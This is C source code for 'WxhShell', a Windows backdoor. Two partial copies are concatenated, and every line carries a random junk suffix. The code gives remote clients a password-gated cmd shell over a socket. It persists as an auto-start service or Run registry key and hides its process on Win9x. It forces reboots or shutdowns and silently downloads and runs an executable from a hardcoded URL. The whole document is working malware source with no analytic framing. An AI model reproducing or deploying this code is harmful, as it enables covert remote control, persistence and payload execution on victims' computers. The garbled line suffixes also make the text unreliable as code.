    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \nbGdka  
    if(Boot(SHUTDOWN)) "+sl(A3`U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A(84cmq!q  
    else { `ttqgv\  
    closesocket(wsh);  {Yc#XP  
    ExitThread(0); y8e'weK  
    } s)BB(vQ]6  
    break; sn.0`Stt  
    } lq_(au.  
  // 获取shell (M;jnQ0  
  case 's': { Zjq(]y  
    CmdShell(wsh); _@L{]6P%V  
    closesocket(wsh); $O[$<D%H  
    ExitThread(0); |]UR&*  
    break; N/V~>UJ0{*  
  } HD~o]l=H  
  // 退出 /<e<-C*d&<  
  case 'x': { (Z |Nz*<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); : pkOZ+t  
    CloseIt(wsh); z?M_Cz;:J  
    break; }|9!|Q  
    } ?qJt4Om  
  // 离开 LLD#)Jl{?  
  case 'q': { :v Do{My^1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dc=}c/6x  
    closesocket(wsh); x;@wtd*QB  
    WSACleanup(); !l|fzS8g  
    exit(1); *u ^mf~  
    break; y3Qb2l  
        } ggL^*MV  
  } '?O_(%3F0  
  } D3(rD]c0{  
3`+Bq+  
  // 提示信息 N% !TFQf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #]5A|-O^  
} YW7Pimks  
  } I ]HP  
*/)O8`}2  
  return; T)lkT?  
} 4Je[!X@C  
8_=MP[(H  
// shell模块句柄 ; nc3O{rU  
int CmdShell(SOCKET sock) nAT,y9&  
{ Q^} Ib[  
STARTUPINFO si; 6^VPRp  
ZeroMemory(&si,sizeof(si)); L )53o!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (kmrWx= $  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !4vepa}Y  
PROCESS_INFORMATION ProcessInfo; n]x%xnt  
char cmdline[]="cmd"; p6AF16*f0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >`=9So_J  
  return 0; k; (r:k^  
} R|'ftFebB.  
KJYcP72P  
// 自身启动模式 H aA2y  
int StartFromService(void) (TTS-(  
{ :x[SV^fw[  
typedef struct BIY"{"hJ  
{ `_+%  
  DWORD ExitStatus; pQCocy  
  DWORD PebBaseAddress; PR3&LI;B*  
  DWORD AffinityMask; =OamN7V=  
  DWORD BasePriority; &B?*|M`)k  
  ULONG UniqueProcessId; F&u)wI'  
  ULONG InheritedFromUniqueProcessId; wB+X@AA  
}   PROCESS_BASIC_INFORMATION; ;2}wrX  
ZbfpMZ g  
PROCNTQSIP NtQueryInformationProcess; l>*L Am5  
^R h`XE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =Q~@dP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "L&84^lmf  
)s|o&aP>  
  HANDLE             hProcess; 21sXCmYR,t  
  PROCESS_BASIC_INFORMATION pbi; 5*\]F}  
xU;/LJ6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (Tv~$\=  
  if(NULL == hInst ) return 0; @bF4'M  
ni?5h5-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C17$ qdV/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4vJg"*?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?)O!(=6%'  
0)]?@"j  
  if (!NtQueryInformationProcess) return 0; {NUI8AL46A  
ksy]t |  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5kLz8n^z@@  
  if(!hProcess) return 0; JXQh$hs  
HlOn=>)<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U W' @3#<?  
%\] x}IC  
  CloseHandle(hProcess); trz &]v=:  
|a!]Iqz"N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @kWRI*m  
if(hProcess==NULL) return 0; z#*> u  
Oh5aJ)"D  
HMODULE hMod; #c$z&J7e  
char procName[255]; y`\rb<AZ*t  
unsigned long cbNeeded; gTb%c84  
.~,=?aq^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jidRh}>a=  
![&9\aH  
  CloseHandle(hProcess); ^l{q{O7U$  
F% z$^ m-  
if(strstr(procName,"services")) return 1; // 以服务启动 ~cul;bb#  
88On{Kk.v  
  return 0; // 注册表启动 9xOTR#B:_V  
} Kh7C7[&  
,t +sw4  
// 主模块 gX]ewbPDQ  
int StartWxhshell(LPSTR lpCmdLine) |ITh2m  
{ f~:wI9  
  SOCKET wsl; gMsB1|  
BOOL val=TRUE; Z '~Ie~  
  int port=0; |3G;Rh9w,  
  struct sockaddr_in door;  vg8Yc  
}"M5"?  
  if(wscfg.ws_autoins) Install(); k]rc -c-  
[Om,Q<  
port=atoi(lpCmdLine); a5?Yh<cJ  
a= (vS  
if(port<=0) port=wscfg.ws_port; \Vx_$E  
1ZY~qP+n+  
  WSADATA data; wwE3N[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?N=`}}Ky-  
<UwYI_OX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6 IRa$h>H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @plh'f}  
  door.sin_family = AF_INET; M{g.x4M@W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zy`T! $  
  door.sin_port = htons(port); r3 dGXiu  
) uTFId  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O=}d:yZb!  
closesocket(wsl); Sq]QRI/  
return 1; 4{ [d '-H5  
} 5c$\DZ(  
`_SV1|=="8  
  if(listen(wsl,2) == INVALID_SOCKET) { Z8`Y}#Za[  
closesocket(wsl); uM,R+)3  
return 1; V1yP{XT=  
} 0ax ;Q[z2  
  Wxhshell(wsl); 6w~Cyu4Ov  
  WSACleanup(); ajW2HH*9}A  
?5;N=\GQ  
return 0; RZ|M;c  
S0`u!l89(  
} VIg6'  
L *cP8v4  
// 以NT服务方式启动 L_q3m-x0h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &WZ&Tt/)/  
{ TE6]4E*  
DWORD   status = 0; -""(>$b 2  
  DWORD   specificError = 0xfffffff; Py#TXzEcC  
9Dp0Pi?29  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?JBA`,-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M(vX.kF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W;?e@}  
  serviceStatus.dwWin32ExitCode     = 0; OZEbs 7  
  serviceStatus.dwServiceSpecificExitCode = 0; {E0\mZ2  
  serviceStatus.dwCheckPoint       = 0; w?P ex]i{  
  serviceStatus.dwWaitHint       = 0;  uU=!e&3  
mbns%%GJU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K>TEt5  
  if (hServiceStatusHandle==0) return; 0 \V)DV.i  
e,MgR\F}  
status = GetLastError(); tX6_n%/L  
  if (status!=NO_ERROR) n=?wX#rEC#  
{ *fz#B/ _o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 10xza=a  
    serviceStatus.dwCheckPoint       = 0; a(LtiO  
    serviceStatus.dwWaitHint       = 0; FKUo^F?z  
    serviceStatus.dwWin32ExitCode     = status; Bj GfUQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; q:=jv6T#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dus!Ki~8(t  
    return; 0lV;bVa%  
  } Mh MXn;VKj  
HPg%v |  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N`~f77G  
  serviceStatus.dwCheckPoint       = 0; F\^\,hy  
  serviceStatus.dwWaitHint       = 0; +ViL"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E u<f  
} - ,?LS w  
$%4<q0-  
// 处理NT服务事件,比如:启动、停止 Cbp zYv32  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Qq'e#nI@  
{ GWLdz0`2_  
switch(fdwControl) =~5N/!  
{ 5H 1N]v+  
case SERVICE_CONTROL_STOP: _l+C0lQl=  
  serviceStatus.dwWin32ExitCode = 0; tEt46]{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  O*.n;_&  
  serviceStatus.dwCheckPoint   = 0; #M4LG; B  
  serviceStatus.dwWaitHint     = 0; 5~ZzQG  
  { qOIVuzi*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;NE4G;px4<  
  } 5A<}*T  
  return; ydA@@C\&  
case SERVICE_CONTROL_PAUSE: p{:y?0pGN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; CM%;/[WBxy  
  break; ?J-\}X  
case SERVICE_CONTROL_CONTINUE: yL),G*[p\}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >TiE Y MW  
  break; /8!n7a7  
case SERVICE_CONTROL_INTERROGATE: /;{L~f=et)  
  break; jT!?lqr(Rb  
}; %hlgLM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sVGQSJJ5  
} yFS{8yrRUU  
RR's W@  
// 标准应用程序主函数 #c":y5:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v+}${h9  
{ eoXbZ  
Bl^ BtE?-b  
// 获取操作系统版本 >; tE.CJH  
OsIsNt=GetOsVer(); yPY{ZADkQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g*`xEb= '  
O /:FY1  
  // 从命令行安装 \w"~DuA  
  if(strpbrk(lpCmdLine,"iI")) Install(); Sk)lT^by  
&=kb>*  
  // 下载执行文件 }"SqB{5e(  
if(wscfg.ws_downexe) { wX_~H*m?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f/s"2r  
  WinExec(wscfg.ws_filenam,SW_HIDE); UR9\g(  
} :KR KD  
I>##iiKN  
if(!OsIsNt) { OhMJt&s9P=  
// 如果时win9x,隐藏进程并且设置为注册表启动 a2ho+TwT  
HideProc(); $rTb'8  
StartWxhshell(lpCmdLine); 8Lgm50bs  
} S4?WR+:h  
else OZd (~E  
  if(StartFromService()) yimK"4!j5A  
  // 以服务方式启动 e /1x/v'  
  StartServiceCtrlDispatcher(DispatchTable); +95v=[t#Ut  
else Yi)s=Q:  
  // 普通方式启动 :YOo"3.]  
  StartWxhshell(lpCmdLine); 1e7I2g  
?L0k|7  
return 0; 0 q1x+  
} 0 x' d^  
d0C _:_  
U]w"T{;@.)  
KV$4}{  
=========================================== FvG?%IFM  
aWH  
;E[Q/ tr:w  
V"'PA-z3  
p Pag@L  
rGXUV`5Na  
" RjTGm=1w  
<P'FqQ]  
#include <stdio.h> 'TuaP `]<  
#include <string.h> !c{F{ t-a  
#include <windows.h> $IjI{%  
#include <winsock2.h> U8y?S]}vo  
#include <winsvc.h> R&&&RI3{  
#include <urlmon.h> jWV}U a  
yP>025o't  
#pragma comment (lib, "Ws2_32.lib") T:Ee6I 3l  
#pragma comment (lib, "urlmon.lib") H0sTL#/L\  
E`V\/`5D  
#define MAX_USER   100 // 最大客户端连接数 ;,e16^\' &  
#define BUF_SOCK   200 // sock buffer B /w&Lo  
#define KEY_BUFF   255 // 输入 buffer F?05+  
#p55/54ZI  
#define REBOOT     0   // 重启 x#N_h0[i  
#define SHUTDOWN   1   // 关机 yjMN>L'  
deVnAu =  
#define DEF_PORT   5000 // 监听端口 y+w,j]  
{j;` wN  
#define REG_LEN     16   // 注册表键长度 |2@*?o"ll  
#define SVC_LEN     80   // NT服务名长度 ; :q  
m4m|?  
// 从dll定义API 4OQ,|Wm4G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h.F=Fhx/1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k4hk* 0Jq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +xU({/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l"1D' Hk  
Ox&G  [  
// wxhshell配置信息 D>@NYqMF  
struct WSCFG { 5oSp/M  
  int ws_port;         // 监听端口 :$,MAQ'9  
  char ws_passstr[REG_LEN]; // 口令 o|xZ?#^h  
  int ws_autoins;       // 安装标记, 1=yes 0=no dFDf/tH  
  char ws_regname[REG_LEN]; // 注册表键名 i}P{{kMJ  
  char ws_svcname[REG_LEN]; // 服务名 ;RX u}pd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v=0G&x=/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3Jlap=]68S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4oueLT(zc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O !{YwE8x9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V+y"L>K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Up'#OkTx  
{7@*cB qN  
}; s</qT6@  
6 h,!;`8O  
// default Wxhshell configuration 3NDddrL9  
struct WSCFG wscfg={DEF_PORT, Z+J4 q9^$  
    "xuhuanlingzhe", \`xlD&F@U  
    1, %)?jaE}[  
    "Wxhshell", LybaE~=  
    "Wxhshell", geqP.MR  
            "WxhShell Service", *|Er;Thw  
    "Wrsky Windows CmdShell Service", .#$2,"8  
    "Please Input Your Password: ", }aR}ZzK/v  
  1,  0.0-rd>  
  "http://www.wrsky.com/wxhshell.exe", A)>#n)  
  "Wxhshell.exe" )%MC*Z :^  
    };  w:QO@  
i2  c|_B  
// 消息定义模块 ^Y%_{   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~'KqiUY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L/exR6M7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BLO ]78  
char *msg_ws_ext="\n\rExit."; Q N#bd~  
char *msg_ws_end="\n\rQuit."; _W_< bI34  
char *msg_ws_boot="\n\rReboot..."; }UB@FRPF  
char *msg_ws_poff="\n\rShutdown..."; ->{-yh]jv  
char *msg_ws_down="\n\rSave to "; j;Z?q%M{6  
`HkNO@N[  
char *msg_ws_err="\n\rErr!"; (BeJ,K7  
char *msg_ws_ok="\n\rOK!"; `(0B09~7  
n"6L\u  
char ExeFile[MAX_PATH]; U|%}B(  
int nUser = 0; bNVeL$'  
HANDLE handles[MAX_USER]; 9yC22C:  
int OsIsNt; `>)Ge](oN  
LrbD%2U$j5  
SERVICE_STATUS       serviceStatus; -HQbvXAS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 60u_,@rV  
a~$Y;C_#<  
// 函数声明 !h7.xl OpN  
int Install(void); }0Ns&6)xG  
int Uninstall(void); >VkBQM-%  
int DownloadFile(char *sURL, SOCKET wsh);  3}8o 9  
int Boot(int flag); 0~^RHb.NA8  
void HideProc(void); mQ"uG?NE  
int GetOsVer(void); pLtw|S'4  
int Wxhshell(SOCKET wsl); 2icQ (H;  
void TalkWithClient(void *cs); e@W+ehx"  
int CmdShell(SOCKET sock); m)Kg6/MV.  
int StartFromService(void); x'I!f? / &  
int StartWxhshell(LPSTR lpCmdLine); </`\3t  
WJnGF3G>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @ CmKF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !EhKg)y=  
3wq<@dRv4  
// 数据结构和表定义 -m%`Di!E  
SERVICE_TABLE_ENTRY DispatchTable[] = ` z0q:ME  
{ /GC&@y0yi  
{wscfg.ws_svcname, NTServiceMain}, 8$ u"92  
{NULL, NULL} h7UNmwj  
}; ~EPVu  
x~!|F5JbM  
// 自我安装 % ERcFI]G  
int Install(void) ;: 2U}p^-  
{ kY~4AH  
  char svExeFile[MAX_PATH]; j/*1zu8Y  
  HKEY key; *b. >  
  strcpy(svExeFile,ExeFile); nJ2x;';lA  
PU/<7P*  
// 如果是win9x系统,修改注册表设为自启动 96(Mu% l  
if(!OsIsNt) { 6^ [ 4.D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |2u=3#Jp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?!U[~Gq  
  RegCloseKey(key); @I`^\oJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hDW!pnj1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |j`73@6   
  RegCloseKey(key); c Rq2 re  
  return 0; VIP7j(#t_g  
    } '% QCNO/  
  } 2H)4}5H  
} o'!=x$Ky  
else { P.,U>m  
6p)AQTh>  
// 如果是NT以上系统,安装为系统服务 Q,&Li+u|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MxIa,M <  
if (schSCManager!=0) Q S&B"7;g  
{ rTIu'  
  SC_HANDLE schService = CreateService 6(f 'P_*  
  ( Yg^ &4ZF  
  schSCManager, yijP  
  wscfg.ws_svcname, ]$@D=g,r  
  wscfg.ws_svcdisp, `.W2t5 Y  
  SERVICE_ALL_ACCESS, 3 c=kYcj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "0P`=n  
  SERVICE_AUTO_START, xV)[C )6  
  SERVICE_ERROR_NORMAL, 3S:Lce'f  
  svExeFile, %M@K(Qu  
  NULL, pa[/6(  
  NULL, GkIY2PD  
  NULL, ;=ddv@  
  NULL, "d_wu#fO)  
  NULL %L+q:naZe  
  ); ' rcqy1-&  
  if (schService!=0) J,2V&WuV0r  
  { b|d-vnYE  
  CloseServiceHandle(schService); "]+g5G  
  CloseServiceHandle(schSCManager); li r=0oq<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]dpL PR  
  strcat(svExeFile,wscfg.ws_svcname); WTJ 0Q0U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <-umeY"n>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `t~jHe4!Y  
  RegCloseKey(key); "jFf}"  
  return 0; i+*!" /De  
    } BNu >/zGpB  
  } cuhp4!!  
  CloseServiceHandle(schSCManager); x#>V50E  
} J7`mEL>?  
} FE~D:)Xj'?  
;A*SuFbV  
return 1; *; Jb=  
} 9zu;OK%  
nI\6a G?`  
// 自我卸载 g^'h 4qOa  
int Uninstall(void) UlYFloZ  
{ <!OBpAq  
  HKEY key; ]I?.1X5d0  
ARKM[]  
if(!OsIsNt) { NXW*{b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u,^CFws_  
  RegDeleteValue(key,wscfg.ws_regname); l2D*b93  
  RegCloseKey(key); bJ ~H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DB'v7 Ij0  
  RegDeleteValue(key,wscfg.ws_regname); \TQZZ_Z  
  RegCloseKey(key); @-U\!Tf  
  return 0; _D '(R  
  } [&)]-2w2  
} OUX7 *_  
} v=U<exM6%  
else { ]G/m,Zv*:  
=RoG?gd{R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eV9U+]C`  
if (schSCManager!=0) pv_o4qEN  
{ 3:J>-MO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AGlBvRX7e  
  if (schService!=0) G@]3EP  
  { &V].,12x  
  if(DeleteService(schService)!=0) { yW_yHSx;  
  CloseServiceHandle(schService); $J[( 3  
  CloseServiceHandle(schSCManager); iC"iR\Qu  
  return 0; ){^J8]b7#  
  } cD!,ZL  
  CloseServiceHandle(schService); &>sbsx\y  
  } As:O|!F  
  CloseServiceHandle(schSCManager); *dl hRa  
} Fr9/TI  
} w,UE0i9I  
JJ: ku&Mb  
return 1; h4Crq Yxa_  
} ?uWUs )9  
,81%8r  
// 从指定url下载文件  vy<W4  
int DownloadFile(char *sURL, SOCKET wsh) +|A`~\@N  
{ 9vI~vl l  
  HRESULT hr; 56v G R(  
char seps[]= "/"; OVg&?fiP  
char *token; ;%tFi  
char *file; odv2(\  
char myURL[MAX_PATH]; S 'a- E![  
char myFILE[MAX_PATH]; ,f }$FZ  
?nU<cxh  
strcpy(myURL,sURL); n]%- 2`}(  
  token=strtok(myURL,seps); |[\;.gT K  
  while(token!=NULL) N /4E ~^2  
  { 2+1ybOwb  
    file=token; V9c.(QY|f  
  token=strtok(NULL,seps); <c+.%ka  
  } 1`cH EAa  
2t= = <x  
GetCurrentDirectory(MAX_PATH,myFILE); Ge^`f<f  
strcat(myFILE, "\\"); H 4<"+7  
strcat(myFILE, file); @N*|w Kc+  
  send(wsh,myFILE,strlen(myFILE),0); TnrBHaxbo4  
send(wsh,"...",3,0); ;mQj2Bwr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #]` uH{  
  if(hr==S_OK) fBSa8D3}`  
return 0;  a"Qf  
else @]3 \*&R}  
return 1; Xw H>F7HPe  
dC=[o\  
} t7=D$ua  
2Tp2{"sB>A  
// 系统电源模块 DiJLWXs  
int Boot(int flag) !fOPYgAGKn  
{ epy2}TI  
  HANDLE hToken; zsL@0]e&  
  TOKEN_PRIVILEGES tkp; D|uvgu2  
GppCrQ%Ra|  
  if(OsIsNt) { =L W!$p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  N' hT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lY%I("2=  
    tkp.PrivilegeCount = 1; N>mW64_H)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .j}]J:{%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ORM>|&  
if(flag==REBOOT) { YWZ;@,W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @G5T8qwN  
  return 0; VjQ&A#   
} wQxI({k@  
else { 1@]&iZ]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?f?5Kye  
  return 0; C'6I< YX  
} Al>d 21U  
  } YxF@1_g  
  else { sd%j&Su#4  
if(flag==REBOOT) { (7 I|lf e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1lw%RM  
  return 0; f$I=o N  
} { I#>6  
else { 65EMB%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0 QTI;3  
  return 0; YT(N][V  
} kx,.)qKk  
} =p5DT  
]#:WL)@  
return 1; mx Nd_{n  
} K%q5:9m  
rc_m{.b  
// win9x进程隐藏模块 Z?)g'n  
void HideProc(void) 7;jD>wp 9D  
{ "O34 E?ql.  
\|=6<ZY:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oe<i\uX8z  
  if ( hKernel != NULL ) u\\t~<8  
  { Hw \of  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $/wm k7T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e]4$H.dP  
    FreeLibrary(hKernel); 2<D| {  
  } X^\D"fmE.  
P6+ B!pY  
return; nI:M!j5s`  
} 5(>=};r+  
">}6i9o  
// 获取操作系统版本 s9Hxiw@D  
int GetOsVer(void) y:'Ns$+  
{ 1wFu3fh@  
  OSVERSIONINFO winfo; 5B=uvp|Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "*d6E}wG  
  GetVersionEx(&winfo); \^)i!@v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gd;!1GNi]  
  return 1; #Oka7.yz  
  else VN`.*B|9[  
  return 0; 2KLMFI.F  
} ibkB>n{(  
U,g8:M xHK  
// 客户端句柄模块 H4g8 1V=  
int Wxhshell(SOCKET wsl) ~[;r) g\  
{ V}y]<  
  SOCKET wsh; sT^R0Q'>  
  struct sockaddr_in client; MK1\  
  DWORD myID; k]m ~DVS  
P$E iD+5#z  
  while(nUser<MAX_USER) jVff@)_S  
{ Kg%9&l  
  int nSize=sizeof(client); P:{Aq n~zR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WvfP9(-  
  if(wsh==INVALID_SOCKET) return 1; (*S<2HN5  
Am, {Fj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +?J  N_aR  
if(handles[nUser]==0) )Zq'r L<  
  closesocket(wsh); ciS +.%7  
else $nt&'Xnv  
  nUser++; {irc0gI  
  } 0'o[ 2,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <h -)zI  
ZJDV'mC}  
  return 0; q`xc h[H  
} v>8.TE~2  
{4g';  
// 关闭 socket 3x~7N  
void CloseIt(SOCKET wsh) P~a@{n*8  
{ Q(& @ra!{  
closesocket(wsh); Ark]>4x>  
nUser--; qPDNDkjDD  
ExitThread(0); Xb"i/gfxt  
} eoiz]L  
5,Fq:j)MxW  
// 客户端请求句柄 Skr (C5T  
void TalkWithClient(void *cs) r#zcl)rbU  
{ wAHuPQ&_Q  
nM[yBA  
  SOCKET wsh=(SOCKET)cs; I=!kPuw  
  char pwd[SVC_LEN]; @2E52$zu  
  char cmd[KEY_BUFF]; lOm01&^"E  
char chr[1]; /a\i  
int i,j; jg]KE8(  
h*Fv~j'p  
  while (nUser < MAX_USER) { ;@Zuet  
<$s6?6P  
if(wscfg.ws_passstr) { 5]&sXs  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }O\IF}X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i:s=  
  //ZeroMemory(pwd,KEY_BUFF); _r:Fmn_%-  
      i=0; ad}8~6}_&  
  while(i<SVC_LEN) { 71{Q#%5U~  
M'%4BOpI6`  
  // 设置超时 z"f@iJX?2  
  fd_set FdRead; NK0'\~7&  
  struct timeval TimeOut; f&<+45JI  
  FD_ZERO(&FdRead); R+HX'W  
  FD_SET(wsh,&FdRead); }H ~-oYMu  
  TimeOut.tv_sec=8; j|KDgI<0  
  TimeOut.tv_usec=0; -,y p?<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]Thke 4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t4oD> =,92  
rl}<&aPH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KKC%!Xy  
  pwd=chr[0]; F!z ^0+H(  
  if(chr[0]==0xd || chr[0]==0xa) { Z5t^D|  
  pwd=0; _y4O2n[e  
  break; F0!Z1S0g  
  } Y%;J/4dd  
  i++; ,7d/KJ^7  
    } F^GNOD3J  
$b`nV4p  
  // 如果是非法用户,关闭 socket ~dS15E4-Pp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e@P(+.Ke  
} ~cc }yDe  
lTC0kh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ao)';[%9s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gwk$<6E  
,8r?C!m]  
while(1) { Jg$<2CR&  
LDQ,SS,  
  ZeroMemory(cmd,KEY_BUFF); V/#Ra  
'8]p]#l  
      // 自动支持客户端 telnet标准   a,w|r#x]  
  j=0; ;`oK5  
  while(j<KEY_BUFF) { fg LY{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1 ^|#QMT  
  cmd[j]=chr[0]; *v%y;^{k[/  
  if(chr[0]==0xa || chr[0]==0xd) { ?z>J7 }w*=  
  cmd[j]=0; DKf(igw  
  break; j""ZFh04  
  } $ 64up!  
  j++; *Z#OfB4}  
    } m""+ $  
uXc;!*  
  // 下载文件 *47/BLys<  
  if(strstr(cmd,"http://")) { GQYR`;>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h^g0|p5  
  if(DownloadFile(cmd,wsh)) j&X&&=   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <&m50pq  
  else jfG of*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8?iI;(  
  } P4@`C{F5m  
